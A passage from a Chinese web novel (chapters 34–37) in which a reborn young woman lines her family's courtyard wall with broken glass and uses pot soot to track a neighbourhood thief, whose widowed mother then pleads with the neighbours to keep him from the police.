她大吼着否认:“我没有!我就是喜欢他!你不要在这里说这些有的没的!也不要以为你现在跟他在一起,我就输了!我告诉你,我会一直坚持下去的,我苏丽珍早晚能跟他在一起!” 女人似乎觉得与她话不投机,慢慢从长椅上起身,表情淡淡道:“随你吧,我这次来不过是基于我们同为华国人,所以想劝一劝你,既然你执迷不悟,我也没什么可说的。只有一点,我必须提醒你,我们现在所在的社区安保非常严格,你总是在附近徘徊,已经引起了一些住户的注意,一旦他们去投诉,那你说不定会惹上大麻烦。” 听了这话,她觉得自己被深深羞辱了,朝着女人的背影声嘶力竭地喊道:“齐秀婷,你得意什么!我是在很多方面比不过你,可是我能为了他吃尽苦头,甚至为他付出我的一切!你行吗?如果换了你是我,你能保证做得比我更好吗?” 那个女人却连头也没回:“如果你所谓的‘好’是这个标准,那我自然是不行的。虽然我深爱阿哲,可我永远不会为了一份爱情而舍弃我的父母,舍弃我的尊严,舍弃我的道德底线!” “如果舍弃了这些,我不知道你还有什么生而为人的价值!就凭你那点可怜的自我感动吗?可惜阿哲也永远不可能会喜欢你这样的人。” “所以,苏丽珍,我才说你可笑又可怜。” 画面随着女人远去的背影终结。 她的眼前再次陷入一片黑暗。 她知道这个梦终于要结束了。 苏丽珍睁开沉重的眼皮,入目便是满室橘红色的霞光。 “珍珍!” “闺女!” 耳边传来熟悉的呼唤声,她看着面前眼圈通红的父母,想起自己在极度紧张和惊慌中晕倒,恐怕把两人都吓得不轻。 “爸、妈,对不起,让你们担心了!” 李翠英一边抹着泪,一边不断摩挲着她的额发,“没事,闺女!医生说了你就是有点低血糖,加上最近起早贪黑干活、学习,没休息好,咱回去好好歇两天就能好……妈不担心,只要你好好的,妈比啥都高兴!” 苏卫华脸色也不太好,最近家里事事顺心,他已经很久没出现这样淡淡憔悴的面色。 “翠英,先少说两句,让孩子再睡一会儿吧!” 苏丽珍这才发现自己躺的是医院的病床,她看了眼外面的天色,这会儿已经傍晚了,自己这一觉估摸着最少睡了两、三个小时。 “爸、妈,我现在好多了,咱们还是先回家吧!在这儿我睡得也不踏实!” 这会儿的医院条件普遍不好,加上医生也说了苏丽珍没啥大问题,夫妻俩这才答应让她出院。 回去的路上,苏卫华推着自行车,让苏丽珍坐在后座上,李翠英在旁边小心翼翼地护着她。 苏丽珍轻握着妈妈的手,看着前面苏卫华脑后的白发,脑中却回想起齐秀婷的那些话。 是啊,她上辈子除了那点自我感动之外,还剩下什么呢? 没有亲人,没有朋友,没有尊严,甚至没有廉耻。 可惜她醒悟的太晚了! 在她与齐秀婷对话的那年冬天,她来米国的第三年,一厢情愿地喜欢上沈哲的第十年,一场鹅毛大雪过后的寒冷冬夜里,她在清冷的街头永远闭上了眼睛,结束了上辈子短暂而错误的一生。 好在苍天仁慈,竟然给了她一次重来的机会,让她可以改正过去犯下的错误! 而且现在她已经想明白了,有些事不是一味逃避就能解决的,重来一次不只代表了赎罪和弥补的机会,也同样需要她去再次面对那些血淋淋的伤口,甚至主动剜去腐肉,放掉坏血! 她的手下意识轻抚过衣襟处的一枚别针。 如果她想真正改变自己,做一个崭新的苏丽珍,那她就必须有勇气直面前世所有诸如劫数一般的存在。 一如沈哲和齐秀婷—— 作者有话说:晚安。 第35章 苏丽珍这次突然晕倒到底还是吓坏了苏卫华和李翠英,夫妻俩几乎把她当做月科婴儿一样无微不至地照顾。 到家就让她上床休息,饭菜都给端到床边,连去趟厕所李翠英也要坚持陪着。 夜里再次变天,秋风一阵比一阵凉,夫妻俩不放心,一整个晚上来看了她好几次,让苏丽珍又是心疼、又是内疚。 等第二天早上起来,眼见苏丽珍脸色红润了不少,两人才终于松了口气。 想着爸妈因为担心她,昨晚也没怎么睡好,她有心想劝两人今天不要出摊,就在家好好歇一歇,没想到夫妻俩说啥也不同意。 现在他们的生意好,每天收入都不少,这冷不丁少一天,自然舍不得。苏丽珍看两个人现在劲头这么足,也想着他们出去摆摊能分散下注意力,要不然在家也是时时刻刻关注着她,他们自己反而吃不好、睡不好。 不过饶是如此,夫妻俩为了早点回家,还是少做了一半的凉皮和包子,只卤味还照着每天的量预备着。 临出门时,两人一再嘱咐苏丽珍,千万不要再看书,一定要好好休息,等他们把东西卖完就回家陪她。 在大门口送走了满腔惦记自己的父母,直到他们的身影出了胡同口,苏丽珍才准备回去。 只是当她转过身,目光不经意扫过大门旁边的院墙时,眉头倏然皱起! 只见那被之前几场雨水冲刷干净的红砖墙面上,一夜之间竟然多了半个泥脚印! 苏丽珍连忙过去细细查看起来,这脚印在大约离地七十多公分的位置。这个高度,再综合脚掌的宽度,鞋子的主人十有八/九是个男人。 她目光一转,顺着那脚印往下,底下则是一块长两米、宽八十公分的葱地。 别看地方不大,但是里头的大葱长势喜人,之前每棵足有一尺半高,棵棵挺拔茂盛!只不过这几天连续降雨,昨晚又刮了场大风,原本挺直的葱叶也被吹得东倒西歪,叶尖发黄,如今大半都蔫巴巴地伏倒在地了。t 苏丽珍上前把那些伏倒的葱叶小心拨开,果然在下面又找到了一个相对完整的脚印。 他们家现在租住的房子院墙以前都是土坯砌成的,后来被大雨冲垮后,房主特意花钱换成了红砖的,可能是因为造价不便宜,所以这院墙只有一米八高。 等他们搬进来以后,苏卫华觉得这院墙不够高,就自己想办法淘了些砖块直接码在了墙头上,不至于个高的人一踮脚就能把院子里的情况看得一清二楚。 苏丽珍搬过一把凳子,踩着凳子仔细观察了墙头一番,果然那些后码放的砖块都有了轻微移动的痕迹。 应该是昨夜有人蹬着墙,上了墙头! 这种情况,对方明显是不怀好意,不知道是先来“踩点”的,还是想直接进门偷盗。 而不管是哪一种,都让她非常生气! 本来就对昨天自己的表现耿耿于怀的她心里忽然生出一股戾气!她只是想这辈子好好孝顺父母,让爸妈两个人安乐无忧,可为什么总有这些乱七八糟的事来打乱她的生活! 如今的她不想招惹任何人,也不想别人来招惹她,可这些人不但想破坏她的生活,甚至可能伤害到她的父母,那她就绝不能轻易放过他们! 苏丽珍面无表情地拎起凳子回屋,将屋里屋外所有的汽水瓶、酒瓶、罐头瓶都收集在一起,找了个袋子装好,然后拿起锤子一口气全部砸碎! 把大块的碎玻璃都挑出来,她趁着这会儿胡同里没什么人,在院墙里面,把这些碎玻璃片尖端朝上、全部插在了墙头的砖缝里! 袋子底下还剩下一些细小的碎玻璃渣也被她都扬在了外头的葱地里,这回主要是集中在脚印那一小片区域,堆了有一指厚。 最后上面再薄薄盖一层炉灰,基本就什么都看不出来了。 想了想,她又回屋把几只锅底的黑灰都清了下来,收拢了一大包,留着等天黑时候在用。 做完了这些,她看了眼时间,才上午十点多,苏卫华和李翠英就算回来得早,也得十二点以后。 趁着还有时间,她先去自己屋里找出一件刮坏了口子的衣服,又把李翠英给她单独留出来的卤花生和毛豆装了一小盆,锁好屋门,带着这些东西就往东边邻居毛大娘家去了。 苏家现在住的这一片虽说都是独门独户,但是住户间的距离很近,加上胡同挨着胡同,巷子连着巷子,其实安全系数还是很高的,这也是当初苏卫华夫妻俩愿意花高价在这里租房子的原因。 不过这会儿正是不早不晚的时候,家家户户大的上班,小的出去玩,所以胡同里也没啥人。 苏丽珍出门往东走了七、八米远,走到一户人家前,见院门敞开,索性直接朝里头喊了一声:“毛大娘在家吗?” 院子里正在择菜的一个五十来岁的妇女应声抬头,一见苏丽珍立马热情地招呼她进屋。 毛大娘为人热情,当初他们家刚搬过来那会儿,也是她第一个过来打招呼。 一进院子,苏丽珍一边把手里的花生毛豆递过去,一边笑吟吟道:“毛大娘,我有一件白衣服想补一下,但是家里刚好没有白色的细线了,能不能跟您借一下?” 毛大娘赶忙答应道:“有、有!嗐,你这孩子,借个线团算啥大事,你还拿啥东西啊!” 话是这么说,不过毛大娘脸上的笑容确实越发真切了几分。 等接过线团,苏丽珍也没急着回去,而是顺势拿起衣服跟对方请教起补衣服的针法。 毛大娘知道苏家父母每天都去摆摊,也没多想,只以为她怕缝不好,索性直接拿过那件衣服亲自上手帮她缝补起来。 对方是个爱说话的,苏丽珍借着这个由子,有意引着她慢慢说起这一片的趣事。 而毛大娘不亏是在这里住了几十年的坐地户,果然对这一带了如指掌,没多久,苏丽珍就打听到了自己想知道的信息。 正好衣服也补好了,苏丽珍不着痕迹地又把话题带回了补衣服的手法上,很是恭维了一番毛大娘的手艺,把对方哄得乐乐呵呵,一再嘱咐她没事过来玩,之后才回家。 中午十二点刚过,苏卫华夫妻俩就回来了,后头还跟着听说她晕倒、特意来探病的丁大勇娘儿俩。 丁大勇大包小包买了不少东西,苏卫华一看就板起了脸,埋怨他不该乱花钱,让他待会儿把东西都拿回去。 看师父生气了,丁大勇憨笑着挠挠后脑勺,一句话也不敢多说。 一旁的丁母赶忙道:“苏兄弟,大勇咋说也是当哥的,这当哥的给妹子买东西,那是天经地义!要我说啊,这东西他其实早该买来孝敬你和弟妹,这有事了才来反而是不应该,所以你可别跟我们客气,要不然我们娘儿俩心里更过意不去了!” 丁母这话说的真心实意,从七月份到现在,打从他们家开始摆了烤苞米的摊子,这一个多月挣的都赶上大勇一年的工资了!娘儿俩心里都明镜似的,能挣这么多钱主要还是因为苏家给的那份辣酱方子上! 没看他们开始摆摊没几天,附近就有跟风一样卖烤苞米的吗?只是那些人能模仿着焊出跟他们家相似的烤炉,却做不出他们家那香死人的辣酱,所以即便附近卖烤苞米的摊子再多,也没一份能卖过他们家的! 看着每天那一大把的毛票子,丁母现在觉得日子特别有奔头,连带身子骨好像都比从前好了! 还有给他们收苞米的表弟一家,这几年他们家事多,也没少麻烦人家,如今儿子摆摊也带着表弟一家一起挣钱,也算是间接帮上了一点忙。 所以啊,她是打心眼里感激苏卫华一家。都说雪中送炭难,可人家这不只是给他们送碳,人家还白送了他们一只能下金蛋的母鸡啊! 这样的恩情,他们老丁家自然要记一辈子! 丁家母子俩一片真心实意,苏卫华夫妻俩不收反而见外。没办法,夫妻俩只得三令五申,让丁大勇下次不许乱花钱,这才作罢。 等送走了丁家母子,李翠英看着桌子上堆得满满登登的罐头、点心,不由感慨道:“刚刚看丁嫂子精神头比以前强多了,好像走路都带着风!我这心里真是高兴,他们家这苦日子总算熬出了头。” 苏丽珍笑道:“我大勇哥自己又新加了一个小烤炉,两个炉子并一起,一天少说能卖出三百穗苞米!不说他家,就是张表舅那儿,现在每天赶着马车进城,光是在大勇家这一块,他的收入就不少了。” 苏卫华夫妻俩都不是那种见不得人好的性格,相反,他们认识、亲近的人越好,他们越跟着高兴。 用李翠英的话说,就是有人好了,大家也能互相沾点喜气,要不然,他苦、你也苦,整一潭苦水,那这日子还有啥盼头! 说完了高兴事,接下来自然就要提糟心的事了。 一听闺女说起昨天半夜家里险些进了贼,夫妻俩都坐不住了,赶忙冲到大门外,看着墙上那明晃晃的泥脚印子,两人又是生气、又是后怕。 毕竟钱财是小,这要是自家闺女有个好歹,他们两口子半条命都得交代了! 苏丽珍连忙宽慰两人,又说起自己之前的布置。 李翠英不放心,悄悄踩着凳子往墙头看了一眼,一看闺女插在砖缝里的玻璃碎片个个又长、又尖利,一时又有些担心,怕到时候把人伤得太狠了。 苏丽珍却说道:“妈,有句话叫‘不怕贼偷,就怕贼惦记’,既然有人敢伸手,咱们就一定要让他知道疼,否则就会有第二次、第三次,咱们防不胜防!” 从毛大娘那儿回来,她就推测这个贼今晚十有八/九还会再来,如果不能一次让对方吃足教训,恐怕后患无穷。 她看着夫妻俩,语气前所未有的认真,“爸、妈,你们和这个家就是我的全部,我不允许有任何人敢来侵犯!” 看着闺女稚嫩的小脸上带着与她年龄不符的坚决,夫妻俩都有些动容。 苏卫华缓缓点头道:“翠英,这事就听珍珍的!其实叫我想一想,要是有人可能对你们娘儿俩不利,我也恨不得把那人揍个半死,毕竟这些坏蛋可不是咱们家请来的!” 父女俩都这么说,李翠英自然也不再反对。 等天黑透以后,苏丽珍就把之前收集的那一包锅底灰都撒在了门前过道上,尤其是葱地附近。 虽然做好了心理准备,但是苏卫华和李翠英还是不放心让闺女自己一屋,一家人打算在东屋里合t衣对付一宿。 为了引鱼儿上钩,他们当晚早早就关了灯。 苏丽珍依偎着妈妈,即便是黑暗中,她也能清晰地感受到李翠英的紧张。 她安抚似地轻握了握妈妈的手,却马上换来对方更紧的抓握。 也不知等了多久,就在苏丽珍有些迷糊,半睡半醒间,窗外忽然接连响起两声惨叫,中间还夹杂着一道重物落地的声音! 一家三口不由同时睁开眼! 那条蠢鱼果然来了!—— 作者有话说:晚安。 第36章 一家三口飞快下地,抄起一早准备的棍棒和手电筒就冲了出去。 跑在最后的苏丽珍还顺势把屋里所有的灯都打开了! 可惜虽然他们动作够快,等把栓好的院门打开时,还是慢了一步,没能看到人。 他们家在这条胡同靠近西边的位置,从西边小道出胡同拢共没有二十米,估计来人已经朝着西边逃了。 苏卫华抄着棍子想去追,却被苏丽珍拦住了,在没确定对方附近有没有同伙掩护的前提下,她不能让她爸去冒险。 不过趁着这档口,她还是用手电筒飞快扫了下大门两边。 只见昨天出现脚印的那一小块葱地上,原本就伏倒的那些大葱有不少已经断了,好几棵毁坏的葱叶七零八落地散在地上,还有盖着炉灰和锅底灰的碎玻璃渣也被掀翻开,溅得到处都是。 手电筒往上,院墙上果然又多了半个黑乎乎的脚印子; 再往上,码放的转头也再次被挪动,露出半截尖锐的玻璃片,上面还沾染了几滴新鲜的血迹。 看了这一眼,他们就猜测,应该是昨天那个贼故技重施来蹬墙头的时候,先是被墙头上安插的玻璃片刺伤,两只手没了着力点,直接摔下墙,跟着就被掩在葱地里的那些碎玻璃渣二次重创,所以才会前后发出两声惨叫。 不过看对方这个逃跑的速度,伤势应该不算太严重,苏丽珍多少觉得有些可惜。 但是,她入夜前撒下的那一包锅底灰还是有用的,看着从自家门口一直延伸到西边胡同口的几道黑脚印子,这事还没完呢! 恰在此时,左右邻居听见动静也赶忙开门跑了出来,他们不比苏丽珍一家早有准备,穿衣服、找家伙式儿,多少耽误了点时间。 最先冲出来的是东边毛大娘家,毛大娘两口子和大儿子都出来了,看见苏家这边灯火通明就知道是他们家出了事,两口子赶忙带着儿子率先赶了过来。 “苏家兄弟,出啥事了?刚才是不是你们家喊的?” 苏卫华赶忙道:“毛大哥,是我们家遭贼了!” 一听说遭贼,听着动静陆续赶过来的人都变了脸色! 他们这一片大多是坐地户,治安向来不错,这都有多少年没闹过贼了! 这时苏丽珍拿着手电筒往地上的黑脚印子一指,就招呼大伙:“各位大爷、叔叔,这贼踩到了我家葱地里的锅底灰,脚上沾了不少黑灰,咱们顺着这脚印找,看看能不能把这贼揪出来!这样大伙儿以后上班上学不在家的时候,也能放心一点!” 一听苏丽珍这话,原本有几个听说要去追贼有些犹豫的人瞬间反应过来,对啊,平时他们各有各的工作,等孩子开了学,家里更没人了,而且他们家的院墙还不比这苏家的高。 这贼今天要是跑了,说不定下回就上他们家里来了,这可不行啊! 于是,众人拎着棍棒铁锨、打着手电筒,呼呼喝喝地跟着苏丽珍一家一起追踪起那些脚印来。 出了西边胡同不远,那些脚印就变淡了很多。好在锅底灰的黑堪比墨汁,踩在至今没干透的土道上,只要沾染一点就不容易去除。尤其是把所有人的手电筒集中在一起,这样的亮度之下不说纤毫毕现,可是想在半湿半干的土道上找出一点黑色的痕迹还是不难的。 因为他们这伙人声势不算小,沿途惊动了不少人家,许多人一听说抓贼,陆陆续续又跟出来不少人。 一众人循着印记,就这么热火朝天、走走停停地穿过一条胡同,直到他们走到一户门口栽着黄花菜的人家时,所有的痕迹忽然消失了。 到了这个份上,只要有眼睛、有脑子的人都明白是怎么回事了! 本来对于苏家人说的根据锅底灰印记抓贼这件事,众人其实心里还是有所怀疑的,就算这黑灰能证明谁是飞贼,可按照他们的想法,总觉着那贼也不是傻的,都差点被人抓住了,不可能不赶紧跑路,哪可能老老实实躲在这附近的地方等着人来抓啊! 可当他们一眼看见面前这户人家时,一个个心里就叹起了气,直道这事就是这么打脸,他们咋就忘了,这世上有种缺德鬼专捡熟人坑! 原来这户人家姓张,家里的顶梁柱早早没了,只有一个寡妇拉扯着一儿一女长大。 张寡妇为人其实不错,老实本分,从不招惹是非,她家的大女儿也是个好的,唯有这个小儿子张福全,从小就招猫逗狗,手脚也不干净,很是招人厌烦。 当初张家的大女儿去下乡,张寡妇求爷爷、告奶奶,总算把小儿子塞到一家厂子里做临时工,没想到这小子好吃懒做不说,还偷同事的钱和粮票,结果被厂子直接开除了。 张福全没了工作,越发恶习难改,昨天偷这家树上的柿子,今天薅他家菜地里的地瓜,让大伙儿烦不胜烦! 可每次张福全惹了事,张寡妇总是带着东西登门,又是赔礼、又是哭求,都是二三十年的老邻居,本来就是些小打小闹,加上张寡妇哭得实在可怜,大伙儿反而不好意思多说啥,十回里有八回还得调过来宽慰张寡妇几句。 如今大家看着突然消失的痕迹,再看看眼前这户人家,那还有啥说的,肯定又是老张家这个混犊子干得好事! 虽然知道了谁是贼,可众人一时又有些拿不定主意,想起张寡妇那一把鼻涕、一把泪的模样,他们多少有点不落忍。 有不少人甚至想着这次苏家毕竟没有真的闹出啥事,要是他们非要抓人,会不会把张寡妇逼得太狠了…… 苏丽珍冷眼看着这些人的反应,心里早把他们的想法猜透了。 无非就是谁弱谁有理罢了! 笑话,这世上所有人都得为自己的所作所为付出代价,他们老张家多什么? 其实她之前就猜到这贼是住在附近、对他们家有所了解的人,毕竟他们才搬过来半年多,这一片一百多户人家,怎么那么正好就挑中了他们苏家?无非是现在他们家摆摊了,而且摊子算得上小有名气,所以招了人眼了! 后来从毛大娘那里套了话,知道了这个张福全的事,她心中五分的把握也提到了九分。 而那一包锅底灰更是帮她直接把那一分补全了! 她瞥了眼对面紧闭的门板,现在外面这么多人吵吵嚷嚷,里面却一直一片黑暗寂静,这跟秃子头上摆虱子有什么区别! 做完坏事就“装死”息事宁人,这天底下哪有这种好事! 于是她刻意提高声音对众人道:“脚印到这里就看不见了,可是这胡同里还有别的人家,我一时也拿不准这贼到底去了哪儿!这种情况下,要是搞错了,冤枉了人就不好了!依我看,咱们还是直接报派出所,找公安好了!” 她话音刚落,就听对面紧闭的大门里头有一声轻微的响动,这一声虽然不大,但是离得近的不少人也都听见了,立时脸色变得微妙起来。 时下人有种错误的想法,就是觉得不管什么事闹到警察面前都是丢人的行径,哪怕是很多受害人都有这样荒诞的论调,叫人无法理解。所以不少人当即就犹豫着道:“找公安就不用了吧!那事情是不是闹得太大了?” “就是啊,咱们这么多人呢,啥事互相做个见证就得了吧……” 其中也不乏有跟张寡妇关系不错的人,顺势劝道:“那啥,小姑娘,我听说你们家也没真丢啥东西,要不还是算了吧,这公安哪里是那么好找的!” 苏丽珍心中冷笑,面上却不显,只回应这个劝她算了的人,一本正经道:“这位婶子,这可不是小事!你不知道,这个坏蛋昨天晚上就爬过一次我们家墙头,被我发现了,我就直接找了公安叔叔!这是老师教我们的,t‘有困难找公安’!而且人家公安叔叔不但表扬了我警惕性高,还教了我这个抓贼的方法呢!” 她用手电筒扫了下手指上沾染的黑灰,示意大伙儿看:“大家看看,这个用锅底灰的方法就是人家公安叔叔教我的!叔叔们说了这段时间小偷小摸的特别多,有不少人家的钱啊、票啊、贵重物品都被偷了,所以他让我一定要多加留意,争取早点抓到这个坏蛋!这样到时候,公安叔叔们说不定可以顺藤摸瓜抓到别的团伙,为民除害呢!” 听了苏丽珍这番话,众人一时面色都有些不好了,事实上其实他们最近也听说了不少人家里失窃的事,所以他们不但没有怀疑苏丽珍说谎,反而心里也开始担忧起来。 尤其苏丽珍说这是她家连续两天进贼,再加上那“团伙”两个字,更是让他们第一次清晰地察觉到,这可不是张家小子以往那种小打小闹,现在城里闲散无业的人越来越多,谁知道这些半大小子凑在一起会干出什么事,搞不好这上门偷窃都算小事呢! 周围的人大多已人过中年,生活阅历足够丰富,关于到切身利益的事,根本不需多言,只要轻轻一点,他们马上就能想到这里头的严重性。 这时苏卫华也适时“提醒”众人:“各位,其实我们家也不过是在这儿租房子而已,真要住不下去,大不了搬走就是了!你们要是实在不想找公安,那就算了,左右我们没真丢什么东西,也不是非要强出这个头!” 这句话可谓是一剂猛药,本就心中动摇的众人,一下就下定了决心。 老苏家说的对啊,人家不是坐地户,租房子哪里去不成?倒是他们这样的本地户,有张福全这样的人在,那就像在他们身边埋了个雷,说不好那天炸了,大伙儿都得伤筋动骨。 这下,连先头劝苏丽珍的那位跟张寡妇交好的人也不说话了。 毕竟人涉及到自己的切身利益时,什么同情怜悯都要靠后。 众人一致同意,这就选两个人陪苏家父女去派出所,连夜请公安来逮人! 可是这边大伙儿才刚说定,那边张寡妇家紧闭的大门忽然从里往外推开,一个披头散发的女人哭嚎着冲出来,朝着苏丽珍父女“噗通”一声跪下,一边“咣咣”拼命磕头,一边哀求道:“这位大哥,还有这位小姑娘,我们家福全错了,我替他给你们磕头赔罪,求你们千万不要找公安啊!”—— 作者有话说:晚安。 第37章 这是苏丽珍第一次见到张寡妇,毕竟他们家搬过来的时间尚短,两家又隔了将近两条胡同,平时他们一家也很少往这边走。 眼前的这位长得十分瘦小,黑灯瞎火的看不清脸,可光看这瘦弱的小身板,加上这番声泪俱下的哀求,看着好不凄惨!苏丽珍有点明白了为啥这里的人屡次三番地原谅张福全干的那些破事了。 果然,虽然周围的人都坚定了这次对张福全不再轻拿轻放的想法,只是一见张寡妇这副惨相,大伙儿下意识互相看了眼,竟是谁都不愿意在这个档口先开口,都想着先让别人出这个头。是以,场面一时陷入了一种诡异的安静中。 张寡妇见状,连忙趁机朝着院子里喊道:“福全啊,你快出来!快给人家认错!” 众人唰唰转头,朝着那黑洞洞的院门里头看去,果然见一道身影一瘸一拐地慢腾腾往外挪。 等那人好不容易走出来,站在大门口,大伙儿举着手电筒这么一扫,登时齐刷刷倒吸了一口凉气。 他们可算明白这张福全为啥走这么慢了! 只见这小子两只手血葫芦似的,脸上、身上都沾了不少血迹,也不知道是本来就受了伤,还是被手上的伤口蹭的。 再仔细看的话,他身上那条灰白色的裤子除了一块块黄泥和黑灰外,还有密密麻麻指甲盖大小的小口子,上面更是血迹斑斑!尤其随着他一走动,那裤腿上就有混着血点和泥灰的碎玻璃碴子往下掉,看得人总觉着自己的两条腿也一阵生疼。 苏丽珍冷眼看着,这张福全也就比她大个两三岁的模样,身量中等,此刻他一出来就一脸怨恨地瞪着他们父女俩,脸上明显带着不服。 她还注意到,看见周围不少人被张福全的惨样惊呆后,张寡妇有意无意地往旁边侧了侧身子,似乎是想让更多人看清张福全身上的伤势。 不光如此,这位还以比之前更加愧疚的语气对苏丽珍父女道:“两位,这孩子被我惯坏了,做事没轻没重,好在这次你家没有真少啥,他也被你们家墙上不知道啥东西扎坏了手,流了老多的血……当然,这都是他活该,伤得再重也活该!” “……我说这话没别的意思,就是希望你们能原谅他这一回!你们放心,我这次一定好好看着他,就算他以后养好了伤,也绝不会再去招惹你们!” 说完,又招呼张福全:“福全啊,你还傻愣着干啥,赶快过来给人磕头认错啊!” 苏丽珍心中感慨,听听人家这话说的,明着是赔罪,可是字字句句都在提醒众人张福全这次受了伤,遭了罪。而相比之下,他们苏家却并没有什么真正的损失。 等再让这个半身伤的张福全给他们惨兮兮地一跪,今晚这些人今后怎么看张福全是两说,反正他们老苏家是必定要给人留下个心黑手辣、咄咄逼人的印象。 看看,这世上聪明的人是真的不少,为什么只有她上辈子像被猪油糊住了脑子一样,差劲得她都不愿去想! 尽管心中思绪翻涌,可她面上却半点不显,反而一摆手拦住不甘不愿要跪下的张福全,一脸认真地解释道:“这位张大娘,你说的扎了你儿子手的东西,其实是我特意往我们家墙头砖缝里插的玻璃碎片!你不知道,昨天为了收集这些玻璃片,我可是把我家能用的瓶瓶罐罐都砸了,里头还好几个这么大的罐头瓶呢,想想我都有些心疼!” 好像一点也不觉得自己说出来的话能气死人,她还上手给张家母子俩比划了一下。 张福全当即被气得满脸通红,连张寡妇的面色也僵硬起来。 周围人则有些无语,像毛大娘家这样跟苏家亲近的人都有些欲言又止,倒是之前帮张寡妇家说话那位婶子又跳起来指责道:“你这小姑娘家家的,心肠也太硬了,难道这也是人家公安教你的不成!” 苏丽珍两人一摊,“婶子你可真聪明,可不就是人家公安叔叔们教我的嘛!人家公安叔叔们说了,这就好比是当初小鬼子们来犯,咱们在城门外头埋雷,谁让他犯贱的来招惹咱们,打得就是这不请自来的主!” “再说了,我不往墙头上插玻璃片,难不成还要插几张粮票欢迎他?婶子,要是你家有这好事,你叫上我啊,我保证不睡觉,天天爬你们家墙头!” 这话说得太促狭,当即有人忍不住直接笑出了声,然后就像传染一样,所有人都跟着笑了起来。 那婶子一张脸直接变成了茄皮色,被她家不知什么人拉了一把,转头缩回人堆儿里再不吱声了。 张寡妇的神色越发难看起来,她也看出苏丽珍是硬茬子,这次只怕讨不了好了,只能硬着头皮求道:“小姑娘,我们家福全是真知道错了,就求你高抬贵手,原谅他这一回吧!” 苏丽珍只是淡淡道:“张大娘,你这话说的不对,你儿子连续两次擅闯民宅,意图入室盗窃、甚至抢劫!他触犯的是法律,也是由法律来定他的罪,还轮不到我们说什么原谅。” 眼见苏丽珍这样一顶大帽子扣下来,张寡妇完全变了脸色,就算她没啥文化,也知道如果真按照苏丽珍说的,那她儿子到了局子里,恐怕就不是关几天的事了! 知道这次不能轻易善了,她正要咬牙把家里剩的那点积蓄拿出来,看对方能不能放他们一回,不想她儿子张福全受不了苏丽珍一再讽刺,直接破口大骂道:“你个小/婊/子,给脸不要脸,把老子害成这样,老子还没找你算账!你再哔哔,信不信老子整死你!” 旁边苏卫华可忍不了,大怒着抄起手里的棍子就要揍人,赶忙被苏丽珍喊着毛大娘一家给拦住了。 虽然有些遗憾,但是这人现在还真不能打t,打完不占理不说,苏丽珍之后的布置也得打折扣。 那张福全也是个欺软怕硬的,一看苏卫华这架势,之前嚣张的气焰顿时散了大半,吓得直往他妈身后躲。 张寡妇这会子也不顾上惺惺作态了,一下从地上爬起来,像老母鸡似的把儿子护在身后,直接朝父女俩喊道:“苏家这位小姑娘,还有这位大哥,咱们好歹也算是半个邻居,你看我儿子毕竟已经伤成这样了,你们家反正也没丢啥东西,实在不行,我们赔你点钱总成了吧!” 又对众人道:“大伙儿都知道我们孤儿寡母的,是真的不容易,这孩子自小没爹,要是再进了局子,以后就真完了!求大伙儿帮我们娘儿俩说句话吧,以后我一定做牛做马报答你们!” 眼见张寡妇如此,不少人果然又有些抹不开情面了,之前吵嚷着要去派出所报案的好几个人也没了动静。 苏丽珍却像没看见这些人的犹豫似的,平静地对张寡妇道:“张大娘,据我所知,你在咱们这一片住了几十年,也算是老人了。咱们这儿很多人都是看着你儿子长大的,大家知道你们家处境不好,所以即便是头些年,粮食比命还金贵的年月,对于你儿子今天挖人家土豆,明天又上人家偷干粮这样的破事,谁都没说过什么,哪次不是你唱戏似的拿着三瓜俩枣登门一哭,人家还反过来安慰你的?” “大伙儿同情你,所以一次次原谅你,可是你呢?你身为当妈的,教不好自己的儿子,一次次纵容他做这些缺德事,大伙儿对你们家的包容、忍让,反而成了你的底气!你总说你儿子知道错了,这话你自己信吗?你看他这副样子是真的知道错了吗?他但凡有一点悔过之心,或者你但凡能好好教一点,他也不至于从小偷到大!” 张寡妇被苏丽珍这番话说得彻底白了脸,连周围人也跟着长出了一口气,觉得苏丽珍这话说到了他们的心坎上。 对于张福全这样没脸没皮的偷鸡摸狗,谁能真的一点芥蒂都没有呢? 他们从来不多说,真就是碍着这娘儿俩孤儿寡母日子难,每次张寡妇又哭得那么惨,瞧着怪可怜的! 可这年月,谁家都不富裕啊,你偷了我们的,我们自家可不就要挨饿吗? 所以不少人甚至不自觉跟着点了点头。 而苏丽珍还在继续,“我已经跟你说过了,今晚是他第二次想摸进我们家,是连续两天,这不就是蓄谋已久吗?如果我们没有发现,由着他真的进来,偷钱、偷物这些就不说了,我就问你,万一要是期间我们家人醒了,你觉得你儿子为了顺利逃脱,他会当场干出什么事?” 张寡妇苍白着脸,好半天才吐出几个字:“不……福全不能……” 至于不能什么,她到底是说不出来。 事实上,不光是她,周围所有的人一想到那个场景,后背都不由冒出了冷汗。 他们都觉得,真到了那个时候,搞不好张福全是真的能干出伤天害理的事来! 不行,这个张福全实在是个危险分子,他们这次真不能再像从前一样轻轻揭过了! 要不然说不定下次遭难的就是他们! 众人相互看了看,彼此交换了一下眼神,这次绝对不会再犹豫了。 张寡妇不用去看别人的脸色,就知道今天苏丽珍这番话一传出去,这一片今后恐怕再也容不下他们娘儿俩了,尤其是她儿子张福全。 而张福全到底也有几分小聪明,一看这架势猜到自己这回真踢到铁板了,这小子终于知道害怕了,当即拉着他妈的手,哭嚎道:“妈,我不去派出所,我不去派出所!” 张寡妇闭了闭眼,两只手死死抓着张福全的胳膊,哑着嗓子道:“苏家的,我愿意赔你们三十块钱,算是替福全给你们赔不是。还有大伙儿,这些年福全拿了你们的东西,我都会折算成钱赔给你们……我只有一个要求,就是绝对不能送我儿子去派出所!” 众人闻言有些诧异,没想到张寡妇能下这么大血本,不说那三十块钱已经相当于一个普通工人一个月工资了,就是这些年他们家张福全可也没少祸害街坊四邻,这要都算起来,怕是又得个百八十块! 没想到张寡妇又说:“如果你们不放心福全,我可以答应你们先把他送到乡下他姐那边住个三五年!” 听说把人送走,众人顿时点了点头。这样既有钱拿,这个祸害也不用留在这里,对他们来说算是一举两得了。 只是苏丽珍父女依然面无表情,张寡妇见状咬了咬牙,几乎脱力一般一字一字往外吐:“要是以后他回来了,你们大伙儿可以看着他……如果他再不老实,那你们就送他去派出所,到那时我绝对不再拦着!” 苏丽珍心下喟叹,这张寡妇倒是个人物,可惜养了这么个糟心儿子,生生把她拖累至此。 可她随即又想到,上辈子同样养了糟心闺女的苏卫华和李翠英,说不定那时在外人眼里,她这个恋爱脑的糊涂蛋恐怕也没比张福全强多少! 这么一想,她的脸色又有点难看。 